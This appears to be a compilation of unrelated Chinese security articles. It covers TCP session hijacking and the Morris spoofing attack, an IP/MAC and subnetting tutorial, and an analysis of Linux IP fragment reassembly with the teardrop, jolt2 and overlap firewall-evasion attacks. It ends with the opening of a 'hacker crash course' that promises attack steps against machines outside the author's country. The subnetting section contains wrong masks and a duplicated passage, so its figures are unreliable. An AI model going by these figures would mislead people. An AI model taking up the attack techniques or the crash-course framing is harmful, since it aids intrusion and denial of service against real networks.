攻击者RST或者SYN报文的丢失也许在server端留下一些奇特的状态，通常是CLOSED 或者 SYN-RECEIVED，也有可能使来自client的报文可接受。大约10%的攻击不成功，导致连接关闭或者 non-desynchronized 连接出现(攻击失败)。

这里描述的 desynchronization 在某些TCP实现中不会出现，根据RFC793，一个RST不会被应答，仅仅是释放TCB。一些TCP实现在某种状态下会响应这个RST，回送一个RST。当攻击者送RST给server，一个RST被送给client，将导致连接关闭会话终止。

client始终和攻击者位于同一网段，这使得攻击更加困难，冲突率将升高，攻击者的sniffer 缓冲区很容易溢出。

也许你会仅仅监听会话并发送一些数据到server，并不关心如何建立 desynchronized状态以及转发TCP报文。尽管这将成功地接近目标，但很容易被用户察觉，事实上在TCP会话中，仅仅发送一次命令并不能交换数据。

6. 防范

作者所了解的防范这种攻击的唯一办法是使用加密的TCP，PGP是一个例子。关于PGP，如果你不了解，请去水木清华Hacker版精华区查看。

7. 回顾Morris的攻击

scz注：关于IP Spoofing，我曾在本版贴过两篇翻译过来的文章，当时没有注意是否就是Morris的这篇，但讲述的也很清楚。可以参看.

Morris的攻击假设攻击者可以预测server端的下一个ISN(初始序列号)，鉴别机制仅仅依赖于主机信任而无须其他鉴别机制。

在这种攻击中，入侵者通过发送一个SYN到server初始化一个会话，用受信任客户主机做源IP地址。server用SYN/ACK应答这个SYN，SEG_SEQ = SVR_SEQ_0。攻击者应答这个报文，注意这里需要猜测 SVR_SEQ_0。攻击者不需要监听client端的报文，只要他可以预测 SVR_SEQ_0。这种攻击主要有两点值得注意：

被攻击者伪装的client将接收到来自server的 SYN/ACK包，因为client对此连接一无所知，会产生一个RST到server。Morris假设攻击者可以阻止RST的产生，比如当真正的client已经关机，或者client的TCP队列已经溢出以至于来自server的SYN/ACK被丢弃。

攻击者无法接收来自server的数据，但可以发送数据到server，这足以危及安全。

我们今天讲述的攻击和Morris的攻击有四点不同：

. Morris的攻击依赖于主机信任鉴别机制，我们的则主动介入连接引导鉴别机制。
. 我们的攻击是完整的双向TCP流，攻击者可以发送并接收数据。
. 我们的攻击利用以太网监听去获得SVR_SEQ_0。
. 我们的攻击可以用于任意种类的主机，不只是Unix主机。

Morris的攻击可以很容易地由这种攻击实现，直接通过监听获得ISN，
1989年Steven M. Bellovin提供了利用ICMP包阻止client与server通信的办法，但
这种办法非常容易被client端用户察觉。 作者显然高估了网络世界中的居民，以为都是他本人这样的高手，faint。
这里提到的ICMP攻击如果是指ICMP重定向包，对于windows系列，可以用netstat -nr或者route print命令查看路由表，观察到这种攻击。但这种攻击需要持续，否则超时后自动失效。但我觉得一般用户绝不会象作者想象的那样会察觉到这种攻击。

scz注：关于ICMP包的种种利用太多，一是可以参看前面在本版翻译的<<利用ARP和ICMP玩重定向的游戏>>，二是自己看看讲解TCP/IP协议的的经典书籍，稍微晃晃脑袋就会想出太多太多的破坏办法，关键在于了解之后如何防范，如何让更多的朋友少走弯路，闲得没事不要只顾吹牛就好，真是!@#$%^&*。

8. 结论


IP地址与MAC地址的区别

IP地址是指Internet协议使用的地址，而MAC地址是Ethernet协议使用的地址。IP地址与MAC地址之间并没有什么必然的联系，MAC地址是Ethernet网卡上带的地址，长度为48位。
每个Ethernet网卡生产厂家必须向IEEE组织申请一组MAC地址，在生产网卡时在网卡的串行EEPROM中写入一个唯一的MAC地址。任何两个Ethernet网卡的MAC地址，不管是哪一个厂家生产的都不应相同。Ethernet芯片厂家不必负责MAC地址的申请，MAC地址存在于每一个Ethernet包中，是Ethernet包头的组成部分，Ethernet交换机根据Ethernet包头中的MAC源地址和MAC目的地址实现包的交换和传递。

IP地址是Internet协议地址，每个Internet包必须带有IP地址，每个Internet服务提供商（ISP）必须向有关组织申请一组IP地址，然后一般是动态分配给其用户。IP地址现是32位长，正在扩充到128位。IP地址与MAC地址无关，因为Ethernet的用户，仍然可通过Modem连接Internet，取得一个动态的IP地址，这个地址每次可以不一致。IP地址通常工作于广域网，路由器处理的就是IP地址。 MAC地址工作于局域网，局域网之间的互连一般通过现有的公用网或专用线路，需要进行网间协议转换。可以在Ethernet上传送IP信息，此时IP地址只是Ethernet信息包数据域的一部分，Ethernet交换机或处理器看不见IP地址，只是将其作为普通数据处理。


IP地址与子网掩码

IP地址与网络分类

(1)IP地址

不同的物理网络技术有不同的编址方式；不同物理网络中的主机，有不同的物理网络地址。网间网技术是将不同物理网络技术统一起来的高层软件技术。网间网技术采用一种全局通用的地址格式，为全网的每一网络和每一主机都分配一个网间网地址，以此屏蔽物理网络地址的差异。IP协议提供一种全网间网通用的地址格式，并在统一管理下进行地址分配，保证一个地址对应一台网间网主机（包括网关），这样物理地址的差异被IP层所屏蔽。IP层所用到的地址叫做网间网地址，又叫IP地址。它由网络号和主机号两部分组成，统一网络内的所有主机使用相同的网络号，主机号是唯一的。IP地址是一个32为的二进制数，分成4个字段，每个字段8位。

(2)三类主要的网络地址
    我们知道，从LAN到WAN，不同种类网络规模相差很大，必须区别对待。因此按网络规模大小，将网络地址分为主要的三类，如下：
    A类：
    0 1 2 3 8 16 24
    3 1 0网络号主机号
B类：
    1 0网络号主机号
    C类：
    1 1 0网络号主机号
    A类地址用于少量的（最多27个）主机数大于216的大型网，每个A类网络可容纳最多224台主机；B类地址用于主机数介于28～216之间数量不多不少的中型网，B类网络最多214个；C类地址用于每个网络只能容纳28台主机的大量小型网，C类网络最多221个。
    除了以上A、B、C三个主类地址外，还有另外两类地址，如下：
    D类：
    1 1 1 0多目地址
    E类：
    1 1 1 1 0留待后用
    其中多目地址（multicast address）是比广播地址稍弱的多点传送地址，用于支持多目传输技术。E类地址用于将来的扩展之用。

(3)TCP/IP规定网络地址
    除了一般地标识一台主机外，还有几种具有特殊意义的特殊形式。
    *广播地址
    TCP/IP规定，主机号全为“1”的网络地址用于广播之用，叫做广播地址。所谓广播，指同时向网上所有主机发送报文。
    *有限广播
    前面提到的广播地址包含一个有效的网络号和主机号，技术上称为直接广播（directed boradcasting）地址。在网间网上的任何一点均可向其他任何网络进行直接广播，但直接广播有一个缺点，就是要知道信宿网络的网络号。
    有时需要在本网络内部广播，但又不知道本网络网络号。TCP/IP规定，32比特全为“1”的网间网地址用于本网广播，该地址叫做有限广播地址（limited broadcast address）。
    *“0”地址
    TCP/IP协议规定，各位全为“0”的网络号被解释成“本”网络。
    *回送地址
    A类网络地址127是一个保留地址，用于网络软件测试以及本地机进程间通信，叫做回送地址（loopback address）。无论什么程序，一旦使用回送地址发送数据，协议软件立即返回之，不进行任何网络传输。
    TCP/IP协议规定，一、含网络号127的分组不能出现在任何网络上；二、主机和网关不能为该地址广播任何寻径信息。由以上规定可以看出，主机号全“0”全“1”的地址在TCP/IP协议中有特殊含义，不能用作一台主机的有效地址。

二、子网掩码

    (1)子网TCP/IP网间网技术产生于大型主流机环境中，它能发展到今天的规模是当初的设计者们始料未及的。网间网规模的迅速扩展对IP地址模式的威胁并不是它不能保证主机地址的唯一性，而是会带来两方面的负担：第一，巨大的网络地址管理开销；第二，网关寻径急剧膨胀。其中第二点尤为突出，寻径表的膨胀不仅会降低网关寻径效率（甚至可能使寻径表溢出，从而造成寻径故障），更重要的是将增加内外部路径刷新时的开销，从而加重网络负担。
    因此，迫切需要寻求新的技术，以应付网间网规模增长带来的问题。仔细分析发现，网间网规模的增长在内部主要表现为网络地址的增减，因此解决问题的思路集中在：如何减少网络地址。于是IP网络地址的多重复用技术应运而生。
    通过复用技术，使若干物理网络共享同一IP网络地址，无疑将减少网络地址数。
    子网编址（subnet addressing）技术，又叫子网寻径（subnetrouting），英文简称subnetting，是最广泛使用的IP网络地址复用方式，目前已经标准化，并成为IP地址模式的一部分。
    一般的，32位的IP地址分为两部分，即网络号和主机号，我们分别把他们叫做IP地址的“网间网部分”和“本地部分”。子网编址技术将本地部分进一步划分为“物理网络”部分和“主机”部分，如图：
    网间网部分物理网络主机
    |←网间网部分→|←────本地部分─────→|
    其中“物理网络”用于标识同一IP网络地址下的不同物理网络，既是“子网”。

    (2)子网掩码IP协议标准规定：每一个使用子网的网点都选择一个32位的位模式，若位模式中的某位置1，则对应IP地址中的某位为网络地址（包括网间网部分和物理网络号）中的一位；若位模式中的某位置0，则对应IP地址中的某位为主机地址中的一位。例如位模式：
    11111111 11111111 11111111 00000000中，前三个字节全1，代表对应IP地址中最高的三个字节为网络地址；后一个字节全0，代表对应IP地址中最后的一个字节为主机地址。这种位模式叫做子网模（subnet mask）或“子网掩码”。
    为了使用的方便，常常使用“点分整数表示法”来表示一个IP地址和子网掩码，例如B类地址子网掩码（11111111 11111111 11111111 00000000）为：
    255.255.25.0 IP协议关于子网掩码的定义提供一种有趣的灵活性，允许子网掩码中的“0”和“1”位不连续。但是，这样的子网掩码给分配主机地址和理解寻径表都带来一定困难，并且，极少的路由器支持在子网中使用低序或无序的位，因此在实际应用中通常各网点采用连续方式的子网掩码。像255.255.255.64和255.255.255.160等一类的子网掩码不推荐使用。
    (3)子网掩码与IP地址子网掩码与IP地址结合使用，可以区分出一个网络地址的网络号和主机号。
    例如：有一个C类地址为：
    192．9．200．13其缺省的子网掩码为：
    255．255．255．0则它的网络号和主机号可按如下方法得到：
①将IP地址192．9．200．13转换为二进制11000000 00001001 11001000 00001101
②将子网掩码255．255．255．0转换为二进制11111111 11111111 11111111 00000000
③将两个二进制数逻辑与（AND）运算后得出的结果即为网络部分11000000 00001001 11001000 00001101 AND 11111111 11111111 11111111 00000000 11000000 00001001 11001000 00000000结果为192.9.200.0，即网络号为192.9.200.0。
④将子网掩码取反再与IP地址逻辑与（AND）后得到的结果即为主机部分11000000 00001001 11001000 00001101 AND 00000000 00000000 00000000 11111111 00000000 00000000 00000000 00001101结果为0.0.0.13，即主机号为13。
    (4)子网掩码与IP地址子网掩码与IP地址结合使用，可以区分出一个网络地址的网络号和主机号。
    例如：有一个C类地址为：
    192．9．200．13 其缺省的子网掩码为：
    255．255．255．0 则它的网络号和主机号可按如下方法得到：
①将IP地址192．9．200．13转换为二进制11000000 00001001 11001000 00001101
②将子网掩码255．255．255．0转换为二进制11111111 11111111 11111111 00000000
③将两个二进制数逻辑与（AND）运算后得出的结果即为网络部分11000000 00001001 11001000 00001101 AND 11111111 11111111 11111111 00000000 11000000 00001001 11001000 00000000结果为192.9.200.0，
即网络号为192．9．200．0。
④将子网掩码取反再与IP地址逻辑与（AND）后得到的结果即为主机部分11000000 00001001 11001000 00001101 AND 00000000 00000000 00000000 11111111 00000000 00000000 00000000 00001101 结果为0.0.0.13，即主机号为13。
    三、子网划分与实例根据以上分析，建议按以下步骤和实例定义子网掩码。
    1、将要划分的子网数目转换为2的m次方。如要分8个子网，8=23。
    2、取上述要划分子网数的2的m次方的幂。如23，即m=3。
    3、将上一步确定的幂m按高序占用主机地址m位后转换为十进制。如m为3 则是11100000，转换为十进制为224，即为最终确定的子网掩码。如果是C类网，则子网掩码为255.255.255.224；如果是B类网，则子网掩码为255.255.224.0；如果是C类网，则子网掩码为255.224.0.0。
    在这里，子网个数与占用主机地址位数有如下等式成立：2m=n。其中，m表示占用主机地址的位数；n表示划分的子网个数。根据这些原则，将一个C类网络分成4个子网。若我们用的网络号为192．9．200，则该C类网内的主机IP地址就是192.9.200.1～192.9.200.254（因为全“0”和全“1”的主机地址有特殊含义，不作为有效的IP地址），现将网络划分为4个部分，按照以上步骤：
    4=22，取22的幂，即2，则二进制为11，占用主机地址的高序位即为11000000，转换为十进制为192。这样就可确定该子网掩码为：192.9.200.192，4个子网的IP地址范围分别为：
    二进制十进制
① 11000000 00001001 11001000 00000001 11000000 00001001 11001000 00111110 192．9．200．1
192．9．200．62
② 11000000 00001001 11001000 01000001 11000000 00001001 11001000 01111110 192．9．200．65
192．9．200．126
③ 11000000 00001001 11001000 10000001 11000000 00001001 11001000 10111110 192．9．200．129
192．9．200．190
④ 11000000 00001001 11001000 11000001 11000000 00001001 11001000 11111110 192．9．200．193
192．9．200．254
    在此列出A、B、C三类网络子网数目与子网掩码的转换表，以供参考。

A类：

子网数目 占用位数　　　　子网掩码　　　　子网中主机数
  2　　　　　1　　　　255．128．0．0　　　　8,388,606
  4　　　　　2　　　　255．192．0．0　　　　4,194,302
  8　　　　　3　　　　255．224．0．0　　　　2,097,150
  16　　　　 4　　　　255．240．0．0　　　　1,048,574
  32　　　　 5　　　　255．248．0．0　　　　524,286
  64　　　　 6　　　　255．252．0．0　　　　262,142
  128　　　　7　　　　255．254．0．0　　　　131,070
  128　　　　8　　　　255．255．0．0　　　　65,534

B类：

子网数目 占用位数　　　　子网掩码　　　　子网中主机数
  2　　　　　1　　　　255．255．128．0　　　32,766
  4　　　　　2　　　　255．255．192．0　　　16,382
  8　　　　　3　　　　255．255．224．0　　　8,190
  16　　　　 4　　　　255．255．240．0　　　4,094
  32　　　　 5　　　　255．255．248．0　　　2,046
  64　　　　 6　　　　255．255．252．0　　　1,022
  128　　　　7　　　　255．255．254．0　　　510
  256　　　　8　　　　255．255．255．0　　　254

C类：

子网数目 占用位数　　　　子网掩码　　　　子网中主机数
  2　　　　　1　　　　255．255．255．128　　　126
  4　　　　　2　　　　255．255．255．192　　　62
  8　　　　　3　　　　255．255．255．224　　　30
  16　　　　 4　　　　255．255．255．240　　　14
  32　　　　 5　　　　255．255．255．248　　　6
  64　　　　 6　　　　255．255．255．252　　　2


IP分片重组的分析和常见碎片攻击 v0.2

作者：yawl

一 前言

本文对linux的IP组装算法进行了分析，因为IP碎片经常用于DOS等攻击，在文章后面我结合了一些攻击方法进行了更进一步的说明。内核主要参考版本是2.2.16，另外简要的介绍了2.4.0-test3中的一些变化.

二 目录

1- 概述
2- 关键数据结构
3- 重要函数说明
4- 2.4系列的变化
5- 常见碎片攻击

1. 概述

在linux源代码中，ip分片重组的全部程序几乎都在都在\net\ipv4\ip_fragment.c文件中。其对外提供一个函数接口ip_defrag()。其函数原型如下：

struct sk_buff *ip_defrag(struct sk_buff *skb)

众所周知，网络数据报在linux的网络堆栈中是以sk_buff的结构传送的，ip_defrag()的功能就是接受分片的数据包(sk_buff)，并试图进行组合，当完整的包组合好时，将新的sk_buff返还，否则返回一个空指针。

此函数在其他文件中的调用如下：

ip层接收主函数为ip_rcv()(\net\ipv4\ip_input.c),任何IP包都需经过此函数处理。如果此包是发往本机，则调用ip_local_deliver()函数（\net\ipv4\ip_input.c）进行处理，一般的系统碎片只有在到达最终目的的时候才进行重组（尽管在传输过程中可能被进一步分成更小的片）。在ip_local_deliver()中我们可发现如下代码：

if (sysctl_ip_always_defrag == 0 &&
    /*编译时未设置提前组装*/
(iph->frag_off & htons(IP_MF|IP_OFFSET))) { /*判断是否是分片包*/
skb = ip_defrag(skb); /*条件满足，进行组装*/
if (!skb) /*若组装好则进行下一步处理，出错
return 0; 或仍未组装完返回*/
iph = skb->nh.iph; /*重新定位ip头的指针*/
}

iph->frag_off只有在设置MF（more fragment）或offset!=0才意味着是分片包，因此此处的检验理所当然，但为什么判断sysctl_ip_always_defrag == 0呢？在看ip_rcv()时我们应该已经注意到在刚进行了版本号，长度，校验和等判断后，有如下一段代码：

if (sysctl_ip_always_defrag != 0 &&
iph->frag_off & htons(IP_MF|IP_OFFSET)) {
skb = ip_defrag(skb);
if (!skb)
return 0;
iph = skb->nh.iph;
ip_send_check(iph);
}

即如果sysctl_ip_always_defrag==1的话，ip_defrag()的调用位置将有变化，对任何进来的IP分片都要进行重组，可以想像，如果此机器作路由器的话，将对所有的分片组装好后，才会进行转发。此举一般是没有必要的。这个值可以通过sysctl命令动态设置，用sysctl -a可以看到在一般的系统中，此值被设为0：

#sysctl -a
......
net.ipv4.ip_always_defrag = 0
......

2. 关键数据结构（2.2系列）

每一个分片用ipfrag结构表示：

/* Describe an IP fragment. */
struct ipfrag {
int offset; /* offset of fragment in IP datagram */
int end; /* last byte of data in datagram */
int len; /* length of this fragment */
struct sk_buff *skb; /* complete received fragment */
unsigned char *ptr; /* pointer into real fragment data */
struct ipfrag *next; /* linked list pointers */
struct ipfrag *prev;
};

这些分片形成一个双向链表（在linux内核中，若需要使用链表，除非有特殊需要，否则推荐双向链表，见document\CodingStyle）,表示一个未组装完的分片队列（属于一个ip包）。
这个链表的头指针要放在ipq结构中：

/* Describe an entry in the "incomplete datagrams" queue. */
struct ipq {
struct iphdr *iph; /* pointer to IP header */
struct ipq *next; /* linked list pointers */
struct ipfrag *fragments; /* linked list of received fragments */
int len; /* total length of original datagram */
short ihlen; /* length of the IP header */
struct timer_list timer; /* when will this queue expire? */
struct ipq **pprev;
struct device *dev; /* Device - for icmp replies */
};

注意每个ipq保留了一个定时器（即struct timer_list timer;）。

ipq也会形成一个链表，它们是内核当前未组装完的所有IP包。为了便于查找，保留了一个
hash表：
#define IPQ_HASHSZ 64
struct ipq *ipq_hash[IPQ_HASHSZ];
#define ipqhashfn(id, saddr, daddr, prot) \
((((id) >> 1) ^ (saddr) ^ (daddr) ^ (prot)) & (IPQ_HASHSZ - 1))

--------_____________
| 1 | |
-------- ----------- ------------ ------------
Hash表 | 2 | | ipq1 |---->| ipfrag1 |----->| ipfrag2 |------>.......
-------- ------------ ------------- ------------
...... |
-------- \/
| 63 | ------------ ------------- -----------
-------- | ipq2 |---->| ipfrag1 |----->| ipfrag2 |------>.......
------------ ------------- -----------
|
\/
------------ ------------- -----------
| ipq3 |---->| ipfrag1 |----->| ipfrag2 |------>.......
------------ ------------- -----------
|
\/
........

每个IP包用如下四元组表示：（id,saddr,daddr,protocol）,四个值都相同的碎片保留在一个IPQ中，即可组装成一个完整的IP包。

此结构在2.4内核中有了改动，具体将在下文中声明。

3. 重要函数说明（2.2系列）

3.1 ip_defrag()
ip_defrag()是整个流程的入口，下面我们首先对ip_defrag()作一定的说明。

(1)为了防止因保留分片而造成内存消耗过大，linux设置了界限来防止这种情况，如果超过了内存使用的上限，则清空内存中最老的队列（ipq）.所用内存的大小保存在变量ip_frag_mem中，当然，对它的读写都应是“原子”操作（atomic_sub，atomic_add，atomic_read，etc）。
其定义在文件ip_fragment.c前部：

atomic_t ip_frag_mem = ATOMIC_INIT(0); /* Memory used for fragments */

if (atomic_read(&ip_frag_mem) > sysctl_ipfrag_high_thresh)
ip_evictor();

ip_evicator的具体操作将在下文中描述。

（2）以id, saddr, daddr, protocol为标志检索是否已经建立了相应的ipq，若发现，则返回ipq的指针，并重置定时器。

qp = ip_find(iph, skb->dst);

（3）此时有一个if/else对，其作用是：
如果ipq已经存在，则证明已经有同一个包的其他分片到达。检查此片是不是第一个分片（因为分片到达顺序可能错乱），若是，将ip头信息和头长度保留在ipq结构中（）；
if (offset == 0) {
/* Fragmented frame replaced by unfragmented copy? */
if ((flags & IP_MF) == 0)
goto out_freequeue;
qp->ihlen = ihl;
memcpy(qp->iph, iph, (ihl + 8));
}

如果不存在，当然要建立一个了：
qp = ip_create(skb, iph);
if (!qp)
goto out_freeskb;

ip_create便是分配出一块内存，初始化这个ipq，并在hash表中登记。

到此为止ipq已经肯定存在了，不管是已经存在的，还是我们刚才生成的。

（4）对包的长度进行检测，如果超过了ip包的最大范围，则报警，并丢弃此包。jolt2便是利用这点将window系统打瘫的。由于linux做了这种检查，所以基本免受其害。

（5）调节end值（数据的结尾位置），如果是最后一个包，则最终整个ip包的长度便可以知道了，为了组装时方便，将其记录到ipq中。
/* Determine the position of this fragment. */
end = offset + ntohs(iph->tot_len) - ihl;

/* Is this the final fragment? */
if ((flags & IP_MF) == 0)
qp->len = end;

（6）接下来很长一段代码（line481-line586）便是定位这份分片在整个数据包中的位置。如果分片之间有重合（恶意攻击和其他异常），则能归并便归并。这个问题我们将在后面（常见碎片攻击中）详谈。

（7）此时我们已经知道这个分片的具体位置了。我们要生成一份新的ipfrag结构，并将其放到
我们刚才找到的正确位置上去。
tfp = ip_frag_create(offset, end, skb, ptr);
if (!tfp)
goto out_freeskb;

/* Insert this fragment in the chain of fragments.
    */
tfp->prev = prev;
tfp->next = next;
if (prev != NULL)
prev->next = tfp;
else
qp->fragments = tfp;

if (next != NULL)
next->prev = tfp;

（8）ip_done函数检查是否所有的分片已经到齐，如果到齐，则将其组装成一个新的sk_buff（调用ip_glue）,并最终返回到调用ip_defrag的地方。

if (ip_done(qp)) { /*全部到齐了么？*/
/* Glue together the fragments. */
skb = ip_glue(qp);
/* Free the queue entry. */
out_freequeue:
ip_free(qp); /*原有的ipq结构已经不需要了，释放。*/
out_skb:
return skb; /*组装完成，可以返回了*/
}

如果没有到齐，则返回NULL.

至此全部组装过程结束。

3.2 ip_evictor（）

当分片所用的内存超过一定的上限时(sysctl_ipfrag_high_thresh)会调用ip_evicator以释放内存。
ip_evicator会找寻可清空的IPQ，并将其清空，直到到达到可用的下限（sysctl_ipfrag_low_thresh）
。

这个值在ip_fragment.c中按如下定义：
int sysctl_ipfrag_high_thresh = 256*1024;
int sysctl_ipfrag_low_thresh = 192*1024;

同样，用sysctl -a可可看到这两参数，同时可以动态修改。
＃sysctl -a
......
net.ipv4.ipfrag_low_thresh = 196608
net.ipv4.ipfrag_high_thresh = 262144
......

理论上ip_evicator应该采用LRU算法，将最古老的IPQ清除。但目前linux(包括2.4.0)没有实现此功能，只是将hash表按次序清空，这样的好处是简单易行。

3.3 ip_glue（）

ip_glue（）函数将负责将一个所有分片已经到齐的的IP包组合好。当这一步进行时，所有的分片已经按顺序排好，并解决了所有的重叠问题。因此其流程相应很简单。
首先生成一个足够大的（足以容纳所有的分片包长度的总和）新的skbuff：
skb = dev_alloc_skb(len);
if (!skb)
goto out_nomem;
调整一些必要的指针后，就在一个while循环中依次将原有分片的内容用memcoy拷贝到新的skbuff中。再进行一些指针调整后，过程结束，将新的skbuff返回。

3.4 ip_expire（）

前面已经提到，每个ipq保留了一个定时器，当一定时间以后组装还没有完成，将清空此队列。定时器的值保留在sysctl_ipfrag_time中：
int sysctl_ipfrag_time = IP_FRAG_TIME;
（在/include/net/ip.h中有#define IP_FRAG_TIME (30 * HZ) ）
此值也可以用sysctl设置。
定时器的具体实现机制的没有分析。

4. 2.4系列的变化

其实如果仔细看一下，2.4的分片组装代码的流程与2.2系列基本相同，不同的是将函数的分工变化了。由于原ipfrag结构保留的结构均可在skbuff中得到，在2.4中将此结构取消了，并对ipq结构做了一些修改。其他主要变化有：
1）ip_defrag分成了ip_defrag和ip_frag_queue两部分。
2）ip_glue换名成ip_frag_reasm,流程基本未动。
3）现在ipq中用meat保留现有的分片长度的累加值（已经解决重叠），如果此值到达总长度，则意味着所有的分片到达，因此取消了ip_done函数，不必每次遍历一次链表，因此在效率上有了较大的提高，抗小碎片攻击的能力得到加强。

5.常见碎片攻击

IP碎片经常被用来作DOS攻击，典型的例子便是teardrop和jolt2，其原理都是利用发送异常的分片，如果操作系统的内核在处理分片重组时没有考虑到所有的异常情况，将可能引向异常的流程，造成拒绝服务（DOS）。

我们首先要仔细考虑一下linux在处理分片重叠时的办法。
代码主要在ip_defrag中，首先要遍历链表，定位此分片的位置，具体就是给prev和next两指针赋上正确数值。然后处理与前面的重合,代码如下：

/* We found where to put this one. Check for
    overlap with
* preceding fragment, and, if needed, align things so that
* any overlaps are eliminated.
*/
if ((prev != NULL) && (offset < prev->end)) {
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}

注意此处offset已经乘了8,即以byte为单位了。举个形象一点的例子，如果有这样两个分片：

offset1=0 end1=256
-------------------------
| Frag1(先到) |<---------prev
-------------------------

offset2=64 end2=640
------------------------------------------
| Frag2（后到） |
------------------------------------------

处理后变为：

offset1=0 end1=256
-------------------------
| Frag1(先到) |<---------prev
-------------------------

offset2=256 end2=640
-----------------------
| Frag2（后到） |
-----------------------

紧接着做与后面分片重叠的处理，代码如下：
/* Look for overlap with succeeding segments.
* If we can merge fragments, do it.
*/
for (tmp = next; tmp != NULL; tmp = tfp) {
tfp = tmp->next;
if (tmp->offset >= end)
break; /* no overlaps at all */

i = end - next->offset; /* overlap is 'i'
    bytes */
tmp->len -= i; /* so reduce size of */
tmp->offset += i; /* next fragment */
tmp->ptr += i;

/* If we get a frag size of <= 0, remove
    it and the packet
* that it goes with.
*/
if (tmp->len <= 0) {
if (tmp->prev != NULL)
tmp->prev->next = tmp->next;
else
qp->fragments = tmp->next;

if (tmp->next != NULL)
tmp->next->prev = tmp->prev;

/* We have killed the original next frame.
    */
next = tfp;

frag_kfree_skb(tmp->skb);
frag_kfree_s(tmp, sizeof(struct ipfrag));
}
}

其中if (tmp->len <= 0)判断后面的是为了处理teardrop攻击的，将在后面描述。

我们继续用图表示，如果有这样两个分片：

offset1=128 end1=960
---------------------－－－－－－－－－－----
next------->| Frag1(先到) |
(tmp) -----------------------－－－－－－－－－－--

offset2=64 end2=320
-------------------------
| Frag2（后到） |
-------------------------

处理后将变为：

offset1=320 end1=960
--------－－－－－－－－－－----
next------->| Frag1(先到) |
(tmp) ----------－－－－－－－－－－--

offset2=64 end2=320
-------------------------
| Frag2（后到） |
-------------------------

更复杂的情况不再一一列举，下面我们便可看一下具体利用分片的攻击办法：

（1）Teardrop(CERT CA-97.29，bugtraq id 124)

许多老系统在处理分片组装时存在漏洞，发送异常的分片包会使系统运行异常，teardrop
便是一个经典的利用这个漏洞的攻击程序。其原理如下（以linux为例）：
发送两个分片IP包，其中第二个IP包完全与第一在位置上重合。如下图：

<- len1 ->
-------------------------
| Frag1 |
-------------------------
offset1 end1

<- len2 ->
-------------
| Frag2 |
-------------
offset2 end2

在linux(2.0内核)中有以下处理:
当发现有位置重合时（offset2<end1）,将offset向后调到end1（offset2=end1）, 然后更
改len2的值：
len2=end2-offset2;
注意此时len2变成了一个小于零的值，在以后处理时若不加注意便会出现系统崩溃的问题。
但具体到什么地方出现问题没有追踪过，毕竟这已经是陈年旧事了。
新的版本检查了这个值的大小，如果出现小于零的情况，则把这个分片丢掉。

（2）Jolt2(MS00-029)

jolt2是2000年五月份出现的新的利用分片进行的攻击程序，几乎可以造成当前所有的windows
平台（95,98,NT,2000）死机。原理是发送许多相同的分片包，且这些包的offset值
(8190*8=65520 bytes)与总长度(48 bytes)之和超出了单个IP包的长度限制（65536 bytes）。
如下图：

0 65535
------------......-------------
| Max normal Fragment |
------------......-------------

65520 65568(>65535)
----------------
|Jolt2 Fragment|
----------------

在linux中这种几乎马上就会被丢掉，在ip_defrag中有：
/* Attempt to construct an oversize packet. */if((ntohs(iph->tot_len) + ((int) offset)) > 65535)goto out_oversize;
尽管在后面（out_oversize出）对报警信息已经做了net_ratelimit()处理，但在遭受攻击时,每5秒便打印一条信息还是很繁人，可以更改net_ratelimit()的间隔时间和干脆关掉此条警告。

对windows系统便不知道它是怎么处理的了，一打的话CPU便会达到100%。2000的SP1号称已解决了问题，但没有试过。

（3）bugtraq id 376 Linux IP Fragment Overlap Vulnerability

此种攻击对2.0.33内核有效，其实此攻击事实上并不是分片组装算法的问题，而是在在实现上出现了小的纰漏，在ip_glue中有：

if(len>65535)
{
printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr));
ip_statistics.IpReasmFails++;
ip_free(qp);
return NULL;
}

问题出现在printk上，如果对方一直用超大碎片（len>65535），内核将会无节制的调用printk报警。而printk这种操作是相当耗费资源的，因此造成DOS。
在2.0.34版中改成了：
NETDEBUG(printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr)));
而/include/net/sock.h中：
#if 1
#define NETDEBUG(x) do { } while (0)
#else
#define NETDEBUG(x) do { x; } while (0)
#endif
即只有在调试是才打开此功能，正常时不作任何事。

而后来的版本中加入了net_ratelimit（）函数，限制成最多5秒钟发出一次内核警告：
if (net_ratelimit())
printk(KERN_INFO
"Oversized IP packet from %d.%d.%d.%d.\n",
NIPQUAD(qp->iph->saddr));
这个问题不光在分片组装时用到，所有的网络部分的代码在打印调试信息时都要考虑大量日志造成拒绝服务的问题。目前的比较好且通用解决办法便是通过net_ratelimit（）函数。

（4）bugtraq id 543 Linux IPChains Fragment Overlap Vulnerability

ipchains在处理分片包，只处理第一个（offset==0&&MF=1）,因为只有这个包有TCP,UDP的头信息，其他后续的分片不作防火墙规则匹配，直接通过。假如防火墙之后的系统的IP分片组装类似如下做法：若有重叠，后来的包覆盖前面来的包。这样的话攻击者可以首先造一个可以通过防火墙规则的合法分片(如一个可访问的端口 )，再造一个与之重叠的分片，改掉前一个片中的信息（如一个不可访问的端口），这样最终的结果便是突破了防火墙的检测。 但此种方法只是理论上的，要依靠防火墙后面的主机的分片组装算法的具体实现。反正如果后面也是一台linux的话便无效，因为在处理重叠的时候linux不允许改变位置在自己之前的片的内容（详见上面的讨论）。
此方法在2.2.11以后的内核版本中更难实施，在ipchains处理分片时会检查分片的长度，如果过小则返回FW_BLOCK，即丢弃。

（5）其他

碎片攻击不光会攻击操作系统，由于许多网络工具，如防火墙，入侵检测系统（IDS）也在内部作了分片组装，如果处理不当，也同样会遭受攻击，如著名的checkpoint的防火墙FW-1某些版本（最新的已经改正了）便同样会受到碎片DOS攻击（可详见nsfocus第12期月刊《了解Check Point FW-1状态表》）.

碎片也可以用来逃避IDS检测，许多网络入侵检测系统的机理是单IP包检测，没有处理分片，即使是象ISS这样的公司也是在最新的5.0版本中才实现了组装功能，更不用说snort了，其IP组装插件经常造成core dump,因此大多数人都将此功能关闭了。

参考资料：

[1.] linux2.0.33,2.0.34,2.2.16,2.4.0-test3的源代码。
[2.] securityfocus的漏洞资料。
[3.] bugtraq上的一些邮件，数目众多，恕不一一列举。


KAWEN

2001-7-22
版权所有 影子鹰-网络安全技术组织
rllxx@21cn.com
http://hack2.my163.com/
===========================================
终于决定要写下这份速成教材了,好让一些正准备步入黑客殿堂的朋友和一些正在步入黑客殿堂的朋友可以很快的找到感觉.因为是速成所以里面的一些理论上的东东会被X掉,大家如果要学的话可以找书看看,以下都是攻击的步骤(不准用在国内的机子上)
1 UNICODE漏洞
